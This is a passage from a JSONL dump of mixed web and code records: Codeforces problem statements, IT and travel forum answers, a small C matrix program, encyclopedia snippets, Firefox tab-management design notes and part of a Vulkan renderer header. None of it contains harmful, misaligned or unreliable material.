and set PG_A when a page is remapped on a\n:pagefault (which admittedly is more expensive for the vkernel) so it's not\n:dependent on hardware support anyway.\nThat's reasonably accurate.\n\nMore information about the Kernel", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 481, "token_count_with_eod": 482, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi i have fitted a WiFi socket to the wall. But it will not connect to the router. Everytime I scan the code to take me to the site. Virgin media blocks it and takes me to there site. Can anyone help at all?? T.i.a\nPost a photo of this socket.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 61, "token_count_with_eod": 62, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is the hard version of this problem. In this version, we have queries. Note that we do not have multiple test cases in this version. You can make hacks only if both versions of the problem are solved.\n\nAn array $$$b$$$ of length $$$m$$$ is good if for all $$$i$$$ the $$$i$$$-th element is greater than or equal to $$$i$$$. In other words, $$$b$$$ is good if and only if $$$b_i \\geq i$$$ for all $$$i$$$ ($$$1 \\leq i \\leq m$$$).\n\nYou are given an array $$$a$$$ consisting of $$$n$$$ positive integers, and you are asked $$$q$$$ queries.\n\nIn each query, you are given two integers $$$p$$$ and $$$x$$$ ($$$1 \\leq p,x \\leq n$$$). You have to do $$$a_p := x$$$ (assign $$$x$$$ to $$$a_p$$$). In the updated array, find the number of pairs of indices $$$(l, r)$$$, where $$$1 \\le l \\le r \\le n$$$, such that the array $$$[a_l, a_{l+1}, \\ldots, a_r]$$$ is good.\n\nNote that all queries are independent, which means after each query, the initial array $$$a$$$ is restored.", "source": "cpt_codeforces", "language": "en", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "first question, do you have another DC?\nBest practices say never to have DC on exchange, but best practices also say never ever ever have only 1 DC, so if you do not have any other DCs leave it on the server, till you spin up another VM for your AD.\nAssuming you do have more than one DC, first spin up your new server and install your roles - AD dhcp, print and doc services. There is no reason not to have them both running at the same time. get your AD replicating and dns zones working. you can move your DHCP scope and at the same time change DHCP so they do not query the DNS on the exchange server anymore.\nNext I'd do the printers and shares, again move them slowly, give it a little time to make sure everything is good before removing them from the exchange server.\nGroup policy is not a role and will replicate to the new server.\nonce those are removed, you need to tell your exchange server what AD server to use, follow these instructions to point it to the new DC http://technet.microsoft.com/en-us/library/dd298063(v=exchg.150).aspx\nGet a reboot in, look at event logs for errors and make sure everything is ok.\nnext you need to check fsmo roles and move any that need to be moved.\nAgain reboot give time look at event logs.\nOnce you are satisfied everything is ok, you can now remove the roles from the exchange server.\nAlso, for whatever its worth, I alway put DNS on the exchange server, forwarding to the DC, it allows the DNS to cache and avoid some extra network traffic,It helped speed up exchange 5.0 days, I don't know if it really matters these days with 10g ethernet , 12 core cpus, and virtual backends.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 388, "token_count_with_eod": 389, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Check “Do Not Close Last Document by Selecting Close Command” on the Window tab of the Customize dialog box.\nAh. I did not understand the meaning of that option. Maybe it would be better if it were renamed to:\n[x] “Exit EmEditor when last document is closed”\n* BUG: When editing the properties of the Hyperlink HTML buttons, where it says “Insert Tags” and “Begin:”, if you attempt to edit the text there (““) the text is TRUNCATED.\nYou have to scroll right to edit the whole text here.\nThat is not the problem. The text box is limited to a maximum of 79 characters but the default text is longer than 79 characters. When you try to edit the default text, it then becomes chopped down to 79 characters. The limit needs to be increased to, for example, 150 characters.\nIf you do not want to highlight found text at all, you can set “0” in the Search Colors in the Display tab of Configuration Properties.\nI like using the find highlight sometimes, but not when using the “Find Next” hotkey. It would be good if I could disable find highlight normally, but then have a “Find with Highlight” button in the Find window that I can click when I want to use the find highlight feature.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "#include \nint main()\n{\n\tfloat A[4][4];\n\tint i, j;\n\tfor (i=0; i<4; i++){\n\t\tfor (j=0; j<4; j++){\n\t\t\tprintf(\"Digite A[%d][%d]: \", i, j); scanf(\"%f\", &A[i][j]);\n\t\t}\n\t}\n\tfor (i=0; i<4; i++){\n\t\tfor (j=0; j<4; j++){\n\t\t\tif (i == j)\n\t\t\t\tprintf(\"A[%d][%d]: %f \\n\", i, j, A[i][j]);\n\t\t}\n\t}\n\tsystem(\"pause\");\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "You have been invited as a production process optimization specialist to some very large company. The company has $$$n$$$ machines at its factory, standing one behind another in the production chain. Each machine can be described in one of the following two ways: $$$(+,~a_i)$$$ or $$$(*,~a_i)$$$.\n\nIf a workpiece with the value $$$x$$$ is supplied to the machine of kind $$$(+,~a_i)$$$, then the output workpiece has value $$$x + a_i$$$.\n\nIf a workpiece with the value $$$x$$$ is supplied to the machine of kind $$$(*,~a_i)$$$, then the output workpiece has value $$$x \\cdot a_i$$$.\n\nThe whole production process is as follows. The workpiece with the value $$$1$$$ is supplied to the first machine, then the workpiece obtained after the operation of the first machine is supplied to the second machine, then the workpiece obtained after the operation of the second machine is supplied to the third machine, and so on. The company is not doing very well, so now the value of the resulting product does not exceed $$$2 \\cdot 10^9$$$.\n\nThe directors of the company are not satisfied with the efficiency of the production process and have given you a budget of $$$b$$$ coins to optimize it.\n\nTo optimize production you can change the order of machines in the chain. Namely, by spending $$$p$$$ coins, you can take any machine of kind $$$(+,~a_i)$$$ and move it to any place in the chain without changing the order of other machines. Also, by spending $$$m$$$ coins, you can take any machine of kind $$$(*,~a_i)$$$ and move it to any place in the chain.\n\nWhat is the maximum value of the resulting product that can be achieved if the total cost of movements that are made should not exceed $$$b$$$ coins?", "source": "cpt_codeforces", "language": "en", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "This demo is yet another time a proof of my interest in creating unusual effects in my demos and it also marks a great change in the kind of routines I use in my programs: it was the first time I used direct addressing sprites to improve the speed of my demos!\nI've played Nebulus a lot on the Amiga of my brother and I was quite happy when I found out that there was also a CPC conversion of this game. I bought a tape copy of Nebulus some time later and was rather disappointed at the poor graphics on the CPC.\nI think I've won the Amiga version several times, but on the CPC I never played much more than a few towers, because the collision detection was unfair and made playing little fun. Also the game was really slow on the CPC since the perspectively turning of a round tower required a lot processing speed.\nAs usual I thought that the CPC can do better and that I wanted to prove it...\nI started creating this demo with regular sprites (not direct addressing), but when a French programmer from Logon told me on the Euro Meeting 2 in Reims/ France (July 1992) about direct addressing after seeing my Flag Demo, I reprogrammed parts of the demo (especially the display of the tower and of the scrolltext) with direct addressing sprites to get it faster.\nThe rest was just fiddling around a little and grabbing the MODE 0 graphics from the original Nebulus and converting it into a MODE 1 animation.\nThe green blotches on the floor that go around in circles were meant to improve the feeling of a turning environment (instead of a turning tower in a fixed environment). I had some calculation time left so I added these precalculated blotches on the floor. I've also added a nice feature to this demo by including some keyboard commands: You can move the frog-thing with your cursor keys to the right and left. And thus can reverse the direction of the scroll text!\nWith the up and down keys you can move the tiles it walks on, so that you can construct your own paths around the tower. But before you try it out: you cannot fall down! I didn't have the time and joy to program such a feature. To return the frog to automatic walking you have to press the 'A' key. If you have gaps in the path around the tower a new, gapless path will be generated to ensure a smooth scrolling of the tower.\nI've picked the sound I've used for this from some Soundtrakker tune disc. I don't even know who created the sound. I liked it, even though it is very short.\nThis demo also became part of the SYSCRASH asc production: \"GOS Party 4 - The Revenge Demo\" (Side 1, Part 6) since I lacked the motivation to create a mega demo myself.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 591, "token_count_with_eod": 592, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Welcome to the Diatom Image Database! The Periphyton Group at Florida International University created and maintains the Diatom Image Database, which includes over 980 diatom taxa found in the greater Everglades region of south Florida. Please send questions or comments about the Diatom Image Database to Franco Tobias .\nYou can also click on one of labeled areas on the map to browse by location.\nCampylodiscus cf. circumactus\nMontgomery R.T. (1978):\"Environmental and ecological studies of the diatom communites associated with the coral reefs of the Florida Keys\", Vol.II, Pl.55, fig.C", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Isona is in a train station. This station has two platforms, and between them there are $$$m$$$ parallel railways that can be viewed as infinite straight lines. Each railway is identified with an integer from $$$1$$$ to $$$m$$$, railway $$$1$$$ being the closest to the first platform and railway $$$m$$$ being the farthest. There is a $$$1$$$ meter distance between consecutive railways, as well as between each platform and its closest railway.\n\nIsona is standing on the inner border of the first platform, when she realizes that she forgot to validate her ticket! There is a validating machine on the second platform, exactly opposite her current position (thus, the distance between Isona and the validating machine is $$$m + 1$$$ meters). There are only $$$s$$$ seconds left to validate the ticket and the bridge designated to cross the railways is too far from the validating machine. Therefore, Isona (who is very brave and a little bit careless) will cross the railways running in a straight line perpendicular to the railways themselves. Isona can only run forward (not backward) and she can stay still. When she runs at maximum speed, she needs $$$v$$$ seconds to traverse $$$1$$$ meter. She can run at any speed less than or equal to her maximum speed.\n\nThere is only one problem: $$$n$$$ trains are programmed to transit through the railways. The $$$i$$$-th train will use the railway $$$r_i$$$. It will start crossing the straight line between Isona and the validating machine $$$a_i$$$ seconds from now and it will end $$$b_i$$$ seconds from now. Of course, Isona cannot cross a railway when a train is passing. Formally, for every $$$i = 1, \\, 2, \\, \\dots, \\, n$$$, Isona is not allowed to be on railway $$$r_i$$$ at any time $$$t$$$ with $$$a_i < t < b_i$$$ (but she is allowed to cross at times $$$a_i$$$ or $$$b_i$$$).\n\nThe following picture summarizes the situation. In the picture there are $$$m = 4$$$ railways and two trains are visible; the train going through railway $$$3$$$ is currently crossing the line between Isona and the validating machine.\n\nIsona is a really good runner, but she gets tired every time she has to change her running speed. What is the minimum number of speed changes she has to perform to get to the validating machine on the other platform within $$$s$$$ seconds from now? Note that at the beginning Isona is not running. She can start to run anytime. The instant she starts to run (i.e. her speed becomes positive) is not counted as a speed change.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Square made its name by offering a free card reader for iPhones and low cost (2.75%) credit card transaction fees. But, Square wants to make transactions even simpler and introduced the Card Case to make that happen\nHow all this actually works appears to be a bit of a mystery. There is an initial setup process that associates your credit with a specific retail outlet (say a cafe). This is supposed to allow you to have purchases on subsequent visits applied to your credit line by simply identifying yourself by name. There is no description on your stated identify is verified by, for example, a worker who does not recognize you.\nWe know this much: You can browse a menu and open a tab when within 500 feet of your destination. This distance is too large for using Bluetooth or WiFi (under normal conditions). This indicates that Square’s system uses 3G and GPS or cell tower location information. This would account for the 500 distance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 196, "token_count_with_eod": 197, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am heading to Seattle for a conference - entering the country using the Visa Waiver Program. I would like to make a quick trip - probably one day or two at the most - to Vancouver and then come back to Seattle before flying home. Can someone tell me if I may expect to have problems coming back into the USA with my waived visa?\nYou will have no problems at all.\nOfficially your 90 day WVP entry into the US will not be reset by the quick visit to Canada, although realistically I'm not sure how this is enforced nowadays. (It used to be that you would keep the I-94W form that you received when you first entered the US, and re-use it to re-enter from Canada, but as I-94W's no longer exist this may not happen).\nRegardless of whether they treat it as two entries or one, it's not a problem.\nYou will also need to confirm that you do not need a Visa to enter Canada. Presuming you're an Australian, you should not need one (presuming no crime record/etc, but if you can get into the US under WVP you should have no issues getting into Canada either).\nIf you are able to visit the US on a visa waiver then you are probably able to visit Canada without a visa. You should probably check to be on the safe side. Likewise there should be no problem with exiting and re-entering the US on a visa waiver.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 301, "token_count_with_eod": 302, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Hi there, I'm Thomas! I'm a software developer who loves to code, and I'm currently trying to eat less cake. This is my minimalist blog where I write about the interesting things I'm learning.\nArticles from 2019:\nArticles from 2018:\n- Finding prime numbers with Eratosthenes\n- A fascinating method to draw fractals\n- Learn to make HTML5 games with Phaser 3\nIf you have any questions or feedback: email@example.com :-)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 106, "token_count_with_eod": 107, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Take Your Career to the Next Level by Joining the\nTreeful Damaso Aniceto, Inc Team!\nInterested in joining the Treeful Damaso Aniceto, Inc team?\nWe are a group of highly-motivated, passionate professionals who strive to deliver excellent results to our clients. Working at a small firm means your voice will be heard - we are always looking to improve! And for a bunch of accountants, we sure do have fun!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A roll cage is a specially engineered and constructed frame built in (or sometimes around, in which case it is known as an exo cage) the passenger compartment of a vehicle to protect its occupants from being injured in an accident, particularly in the event of a roll-over.\nThere are many different roll cage designs depending on the application, hence different racing organizations have differing specifications and regulations. They also help to stiffen the chassis, which is desirable in racing applications.\nA roll bar is a single bar behind the driver that provides moderate roll-over protection. Due to the lack of a protective top, some modern convertibles utilize a strong windscreen frame acting as a roll bar. Also, a roll hoop may be placed behind both headrests (usually one on older cars), which is essentially a roll bar spanning the width of a passenger's shoulders.\nA newer form of rollover protection, pioneered on the Mercedes-Benz R129 in 1989, is deployable roll hoops that are normally hidden within the body of a car. When sensors detect an imminent rollover, the roll hoops quickly extend and lock in place. Cars that have a deployable rollover protection system include the Peugeot 307 CC,Volvo C70, Mercedes-Benz SL 500, and Jaguar XK.\nFormally, an (r,g)-graph is defined to be a graph in which each vertex has exactly r neighbors, and in which the shortest cycle has length exactly g. It is known that an (r,g)-graph exists for any combination of r ≥ 2 and g ≥ 3. An (r,g)-cage is an (r,g)-graph with the fewest possible number of vertices, among all (r,g)-graphs.\nIf a Moore graph exists with degree r and girth g, it must be a cage. Moreover, the bounds on the sizes of Moore graphs generalize to cages: any cage with odd girth g must have at least\nvertices, and any cage with even girth g must have at least\nvertices. Any (r,g)-graph with exactly this many vertices is by definition a Moore graph and therefore automatically a cage.\nA cage is an enclosure made of mesh, bars or wires, used to confine, contain or protect something or someone. A cage can serve many purposes, including keeping an animal in captivity, capturing, and being used for display of an animal at a zoo.\nIn history, prisoners were sometimes kept in a cage. They would sometimes be chained up inside into uncomfortable positions to intensify suffering.\nCages have been usually been used to capture or trapping a certain life form. For this reason, they've been known as a hunting accessory, often used for poaching animals or simply seizing them.\nCages are often used now as a source to confine animals. These provide as a habitat to the animal, and since they've advanced so greatly, they are now specially designed to fit that species of animal. Captive breeds of birds, rodents, reptiles, and even larger animals have also been known to be confined in a cage as a domesticated animal (also known as a pet). Captivity is a common purpose of the cage.\nLuke Cage was created by Archie Goodwin and John Romita, Sr. shortly after Blaxploitation films emerged as a popular new genre. He debuted in his own series, Luke Cage, Hero for Hire, which was initially written by Goodwin and pencilled by George Tuska. Cage's adventures were set in a grungier, more crime-dominated New York City than that inhabited by other Marvel superheroes of the time. The series was retitled Luke Cage, Power Man with issue #17.\nFlight dynamics is the study of the performance, stability, and control of vehicles flying through the air or in outer space. It is concerned with how forces acting on the vehicle influence its speed and attitude with respect to time.\nIn fixed-wing aircraft, the changing orientation of the vehicle with respect to the local air flow is represented by two critical parameters, angle of attack (\"alpha\") and angle of sideslip (\"beta\"). These angles describe the vector direction of airspeed, important because it is the principal source of modulations in the aerodynamic forces and moments applied to the aircraft.\nSpacecraft flight dynamics involve three forces: propulsive (rocket engine), gravitational, and lift and drag (when traveling through the earths or any other celestial atmosphere). Because aerodynamic forces involved with spacecraft flight are very small, this leaves gravity as the dominant force.\nAircraft and spacecraft share a critical interest in their orientation with respect to the earth horizon and heading, and this is represented by another set of angles, \"yaw,\" \"pitch\" and \"roll\" which angles match their colloquial meaning, but also have formal definition as an Euler sequence. These angles are the product of the rotational equations of motion, where orientation responds to torque, just as the velocity of a vehicle responds to forces. For all flight vehicles, these two sets of dynamics, rotational and translational, operate simultaneously and in a coupled fashion to evolve the vehicle's state (orientation and velocity) trajectory.\nEuler angles represent a sequence of three elemental rotations, i.e. rotations about the axes of a coordinate system. For instance, a first rotation about z by an angle α, a second rotation about x by an angle β, and a last rotation again about y, by an angle γ. These rotations start from a known standard orientation. In physics, this standard initial orientation is typically represented by a motionless (fixed, global, or world) coordinate system; in linear algebra, by a standard basis.\nAny orientation can be achieved by composing three elemental rotations. The elemental rotations can either occur about the axes of the fixed coordinate system (extrinsic rotations) or about the axes of a rotating coordinate system, which is initially aligned with the fixed one, and modifies its orientation after each elemental rotation (intrinsic rotations). The rotating coordinate system may be imagined to be rigidly attached to a rigid body. In this case, it is sometimes called a local coordinate system. Without considering the possibility of using two different conventions for the definition of the rotation axes (intrinsic or extrinsic), there exist twelve possible sequences of rotation axes, divided in two groups:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "As a computer science student, Alex faces a hard challenge — showering. He tries to shower daily, but despite his best efforts there are always challenges. He takes $$$s$$$ minutes to shower and a day only has $$$m$$$ minutes!\n\nHe already has $$$n$$$ tasks planned for the day. Task $$$i$$$ is represented as an interval $$$(l_i$$$, $$$r_i)$$$, which means that Alex is busy and can not take a shower in that time interval (at any point in time strictly between $$$l_i$$$ and $$$r_i$$$). No two tasks overlap.\n\nGiven all $$$n$$$ time intervals, will Alex be able to shower that day? In other words, will Alex have a free time interval of length at least $$$s$$$?\n\nIn the first test case, Alex can shower for the first $$$3$$$ minutes of the day and not miss any of the tasks.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "- 1 Introduction\n- 2 Smaller Change & Implementation\n- 3 Mid-level Change & Implementation\n- 4 Larger Change & Implementation\nIn Firefox 3.0, managing content such as bookmarks, tabs, and history is very limited. While the awesome bar came a long way in improving targeted search for a particular item, browse-based interactions for bookmarks, history, and tabs is still missing. The only way to really \"browse\" this content is either by using the library, which is truly on an OS-based file management system, or by using tabs. Both of these systems do not allow users to preview, search, and navigate content visually. The library system only provides text descriptions and favicons. Similarly, tabbed content only shows a favicon and part of the title, and beyond a handful of tabs the rest are obscured in an overflow dropdown menu. This system makes searching for a particular item and browsing content difficult.\nThere have been many add-ons and unrelated programs which have experimented with novels ways to browse content. Among these are:\n- Spacetime: Visual 3D search for Yahoo! Images and Google Images, displays in visual \"stacks\"\n- Live Lab's Seadragon (ZUI): Introduces navigation based on extreme zooming. Content is laid out and zooming into an area brings you to that content. Zooming in to specific area on a page opens up new content.\n- Bumptop: \"Realistic\" desktop with physics model so items can be tossed, stacked, shuffled around like weighted objects\n- PicLens: Firefox extensions which presents sites and images as a 3D wall in space, can sort objects by a search query\n- Thumbstrips: Firefox extension which displays previews of open tabs as strip of thumbnails which can be hidden\n- Flock's Media Bar: a social networking-focused browser built on the Firefox codebase, where media is browsable by a preview bar at the top of the window\n- Pogo: At&t's not-yet-released 3D spacey browser, with files fading off into the background in fish-eyed 3D stacks\n- Opera and IE: Pages visible as a grid of thumbnails\nWhile many of these interactions are interesting and novel, they may not be the best features to come standard with Firefox. For instance, PicLens is an interesting way to browse content and many Firefox users have it as an add-on, but creating something this CPU-intensive as part of the browser would not likely serve the needs of many users.\nI've been doing some sketches and thinking about what kinds of features related to previewing and searching content may make sense for the next version of Firefox. I've taken the sketches that I feel have the most potential and grouped them into three categories, based on how easy they might be to implement and how big a change they will cause.\nEvaluation for 3.1:\n- Canvas3d is available\n- Problems storing / retrieving image data quickly enough\n- Needs immediate consultation with the platform team\n- potentially low benefit (don't use coverflow, do use grid view)\n- Seems like rich ground, might need a bit more exploration\n- Smaller change & implementation (see below) may be appropriate for 3.1, while more major changes may need to wait until 4.0\n- Many methods of visual navigation are already available as addons\nSmaller Change & Implementation\nThese are subtle changes to the existing UI that could make navigating content easier and more efficient.\nTab Icons in Awesomebar\nCurrently, the awesomebar displays an icon to show the user that an awesomebar result is a favorite or a tag, but it gives no indication if an awesomebar result is open in another tab. Showing open tabs here not only is consistent with the current UI, but also helps the problem of accidentally opening duplicates of the same tab. By alerting the user of open tabs, the user can choose to either navigate to that tab or create a new instance of the URL.\nTab List in Sidebar\nThis isn't so much an idea for a design as much as a move to make the Firefox interface more intuitive. Currently history and bookmarks can be shown in the sidebar, but not tabs.\nBy grouping tabs by domain in the list, users can more easily get a sense of where their tabs are and what tasks they are in the middle of. An important features of this arrangement would be to close a group of tabs by domain. For example, if someone is finished with their online banking, they can close a group of Bank of America tabs rather than hunt around for the individual tabs and windows.\nThumbnail Previews in Tooltips\nThis small and relatively low CPU-draining feature would give the user an indication of what item they are nagivating to. This interaction is already used online in several addons to preview where a link will go, prevent rick rolling.\nThis could be used in the library:\nOver a tab:\nIn the sidebar:\nOr in the bookmarks menu:\nMid-level Change & Implementation\nDropdown Domain-Specific Menus from Tabs\nA common problem in the current Firefox tab menu is that the user may be performing many different tasks in a single window over many tabs. These tabs are not currently grouped by domain nor tasks, but are layed out linearly in the order they were created. This makes completing a task which requires many tabs difficult and forces the user to hunt for the tabs they need.\nIn the above example, the user is engaged in multiple tasks in multiple domains, but the interface gives no clear affordance of this.\nBeing able to group open tabs by domain is one way to address this problem. In this sketch, which came out of a conversation with Jay Sullivan, the user clicks and holds down a tab. This produces a drop-down menu which shows all tabs open for that domain. This interactions mirrors the operating system method of seeing all windows open for a particular application in that application's menu.\nPull-down Thumbnail Grid\nThis is a for a quick way to preview tabbed content as thumbnails. The user goes to any tab and drags down to see thumbnail previews of the tabs at the top. If the user continues to pull down, he sees thumbnails of previously obscured tabs. If a tab is only partially loaded, this is represented by a semi-transparent loaded bar over the tab.\nThis addresses the problem of many tabs looking identical by allowing the user to get a quick view of what’s open and what’s loaded.\nThis is similar to the interaction in Thumbstrips, but a lighter-weight solution that's easy to pull out and in. A point Aza made is that this is not an elegant solution, but possibly more of a halfway fix, since obscuring your view certainly does not allow the user to navigate and preview at the same time.\nThe user wants to create a spreadsheet based on data from an article. So, he needs his workspace to have both a spreadsheet and an article in view. He clicks the first tab he wants to be open and then the second. He opens them both by double clicking.\nBoth tabs open next to each other, providing a workspace for the user to utilize both windows. The user can change the window layout to edit his workspace\nAbility to View Library Content as Folders and Thumbnails\nThis system would function very similarly to a current operating system: folders of content would be displayed in a grid as folders and URLs would be given thumbnail previews. Internet Explorer and Opera have similar systems of viewing tabs as thumbnail grids, though they don't so far as to use folders for directories.\nLarger Change & Implementation\nSeparate \"Tab Management Window\"\nAs described in the previous wiki, this tab management window would work like a more visual version of the current Library. These sketches are for a separate “tab management” window, where the user can organize and view tabs visually. They can view open tabs as a grid, a list, or in “scatter,” mode. Scatter mode provides the user with a free-form arrangement of tabs (and possibly history) which they can organize spatially. The user can choose to view their tabs in scatter mode:\n- By site. This groups tabs together by what domain they were reached through. If the user has ten articles open from the New York Times, these will be grouped together with the New York Times homepage being largest.\n- By topic. This groups tabs together by what searches they were accessed through. If the user has performed a Google search on San Francisco restaurants, all tabs resulting from this search are grouped together.\n- By recency & frequency. Using the idea behind the Awesomebar, sites which are visited frequently and recently appear larger in tab view and are thus easier and faster to recognize and click.\n- In freeform. The user can resize and move tabs, grouping them in whatever way fits with their working model for a project. They can add labels and fields to help create organizational systems and save their tab configurations for future sessions.\nAnother way to show content not as individual items but as steps in longer navigation tasks is by visually linking them. In these sketches, the navigation the user has taken is represented in a tree structure; whenever the user clicks a link, a branch is drawn from the location they were at to the one they are navigating to. This makes it easy to see the path the user has taken.\nAn issue with the current tab system is that many tabs can be opened, ignored, and forgotten about over time, silently eating up CPU in the background. With a timed interface, the user can see when they viewed which websites and perhaps delete unused websites accordingly. In the sketch, websites drift towards the left over time, so that new sites appear in the right-most column.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1993, "token_count_with_eod": 1994, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "There are n employees in Alternative Cake Manufacturing (ACM). They are now voting on some very important question and the leading world media are trying to predict the outcome of the vote.\n\nEach of the employees belongs to one of two fractions: depublicans or remocrats, and these two fractions have opposite opinions on what should be the outcome of the vote. The voting procedure is rather complicated:\n\n1. Each of n employees makes a statement. They make statements one by one starting from employees 1 and finishing with employee n. If at the moment when it's time for the i-th employee to make a statement he no longer has the right to vote, he just skips his turn (and no longer takes part in this voting).\n2. When employee makes a statement, he can do nothing or declare that one of the other employees no longer has a right to vote. It's allowed to deny from voting people who already made the statement or people who are only waiting to do so. If someone is denied from voting he no longer participates in the voting till the very end.\n3. When all employees are done with their statements, the procedure repeats: again, each employees starting from 1 and finishing with n who are still eligible to vote make their statements.\n4. The process repeats until there is only one employee eligible to vote remaining and he determines the outcome of the whole voting. Of course, he votes for the decision suitable for his fraction.\n\nYou know the order employees are going to vote and that they behave optimal (and they also know the order and who belongs to which fraction). Predict the outcome of the vote.", "source": "cpt_codeforces", "language": "en", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Kate Crossbody Clutch - Click for Colors\nThanks for signing up!\nThere was an error signing up, please try again.\nThe New Kate crossbody clutch is made of vegan leather. It’s just the right size for carrying all your essentials. Features three zip compartments, 6 credit card slots and a license pocket. Style it with either the slender wristlet strap or slim crossbody strap.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In the country of Dengkleknesia, there are $$$N$$$ factories numbered from $$$1$$$ to $$$N$$$. Factory $$$i$$$ has an electrical coefficient of $$$A_i$$$. There are also $$$N-1$$$ power lines with the $$$j$$$-th power line connecting factory $$$U_j$$$ and factory $$$V_j$$$. It can be guaranteed that each factory in Dengkleknesia is connected to all other factories in Dengkleknesia through one or more power lines. In other words, the collection of factories forms a tree. Each pair of different factories in Dengkleknesia can use one or more existing power lines to transfer electricity to each other. However, each power line needs to be turned on first so that electricity can pass through it.\n\nDefine $$$f(x, y, z)$$$ as the minimum number of power lines that need to be turned on so that factory $$$x$$$ can make electrical transfers to factory $$$y$$$ and factory $$$z$$$. Also define $$$g(x, y, z)$$$ as the number of distinct prime factors of $$$\\text{GCD}(A_x, A_y, A_z)$$$.\n\nTo measure the electrical efficiency, you must find the sum of $$$f(x, y, z) \\times g(x, y, z)$$$ for all combinations of $$$(x, y, z)$$$ such that $$$1 \\leq x < y < z \\leq N$$$. Because the answer can be very large, you just need to output the answer modulo $$$998\\,244\\,353$$$.\n\nNote: $$$\\text{GCD}(k_1, k_2, k_3)$$$ is the greatest common divisor of $$$k_1$$$, $$$k_2$$$, and $$$k_3$$$, which is the biggest integer that simultaneously divides $$$k_1$$$, $$$k_2$$$, and $$$k_3$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#ifndef VKST_RENDERER_H\n#define VKST_RENDERER_H\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n// Holds all of the data for a surface. This includes the swapchain,\n// renderpass, and framebuffers.\n// Surfaces must be resized when the window is resized.\nclass surface {\npublic:\n std::size_t num_images() const noexcept { return _color_images.size(); }\n\n VkRenderPass render_pass() const noexcept { return _render_pass; }\n\n VkFramebuffer framebuffer(std::size_t index) const noexcept {\n return _framebuffers[index];\n }\n\n VkSampleCountFlagBits samples() const noexcept { return _samples; }\n\n VkViewport& viewport() noexcept { return _viewport; }\n VkViewport const& viewport() const noexcept { return _viewport; }\n\n VkRect2D& scissor() noexcept { return _scissor; }\n VkRect2D const& scissor() const noexcept { return _scissor; }\n\n surface() noexcept {}\n surface(surface const&) = delete;\n surface(surface&& other) noexcept;\n surface& operator=(surface const&) = delete;\n surface& operator=(surface&& rhs) noexcept;\n ~surface() noexcept = default;\n\nprivate:\n VkSurfaceKHR _surface{VK_NULL_HANDLE};\n\n VkSurfaceFormatKHR _color_format{};\n VkFormat _depth_format{};\n VkSampleCountFlagBits _samples{};\n VkPresentModeKHR _present_mode{};\n\n VkSemaphore _image_available{VK_NULL_HANDLE};\n VkSemaphore _render_finished{VK_NULL_HANDLE};\n VkRenderPass _render_pass{VK_NULL_HANDLE};\n\n VkSurfaceCapabilitiesKHR _capabilities{};\n VkExtent2D _extent{};\n VkViewport _viewport{};\n VkRect2D _scissor{};\n VkSwapchainKHR _swapchain{VK_NULL_HANDLE};\n\n constexpr static uint32_t MAX_IMAGES = 4;\n std::vector _color_images{};\n std::vector _color_image_views{};\n\n VkImage _depth_image{VK_NULL_HANDLE};\n VkDeviceMemory _depth_image_memory{VK_NULL_HANDLE};\n VkImageView _depth_image_view{VK_NULL_HANDLE};\n\n VkImage _color_target{VK_NULL_HANDLE};\n VkDeviceMemory _color_target_memory{VK_NULL_HANDLE};\n VkImageView _color_target_view{VK_NULL_HANDLE};\n\n VkImage _depth_target{VK_NULL_HANDLE};\n VkDeviceMemory _depth_target_memory{VK_NULL_HANDLE};\n VkImageView _depth_target_view{VK_NULL_HANDLE};\n\n std::vector _framebuffers{};\n\n friend class renderer;\n}; // class surface\n\n// Convenience class to hold both the VkShaderModule for a shader as well as\n// any error message from compiling the shader.\nclass shader {\npublic:\n enum class types : uint8_t {\n vertex = 0,\n fragment = 1,\n }; // enum class types\n\n operator VkShaderModule() const noexcept { return _module; }\n\n std::string const& error_message() const noexcept { return _error_message; }\n\n shader() noexcept {}\n shader(shader const&) = delete;\n shader(shader&& other) noexcept;\n shader& operator=(shader const&) = delete;\n shader& operator=(shader&& rhs) noexcept;\n ~shader() noexcept = default;\n\nprivate:\n VkShaderModule _module{VK_NULL_HANDLE};\n std::string _error_message{};\n\n friend class renderer;\n}; // class shader\n\nenum class 